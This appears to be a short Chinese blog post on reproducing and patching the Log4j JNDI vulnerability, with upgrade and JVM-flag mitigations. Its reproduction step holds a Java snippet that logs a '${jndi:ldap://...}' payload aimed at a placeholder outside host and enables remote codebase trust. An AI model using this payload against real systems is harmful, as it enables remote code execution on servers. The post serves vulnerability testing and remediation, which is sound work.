Log4j 漏洞 复现及修复

复现

1、确认是引用了log4j-core

基于pom.xml文件,执行命令mvn dependency:tree 查看是否有log4j-core。没有引用,便是晴天!

有,不一定使用,要查看是否排除了logback;

2、复现(与jdk版本有关)

System.setProperty("com.sun.jndi.rmi.Object.trustURLCodebase", "true");
String source = "${jndi:ldap://域名或地址}";
log.error("source = {}", source);

修复

1.Apache已发布升级修复漏洞,用户请尽快更新至安全版本:log4j-2.17.0
下载链接:log4j-2.17.0
2. 临时解决方案:
方案1:添加jvm启动参数:-Dlog4j2.formatMsgNoLookups=true
方案2:可升级jdk版本至6u211 / 7u201 / 8u191 / 11.0.1以上,可以在一定程度上限制JNDI等漏洞利用方式。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值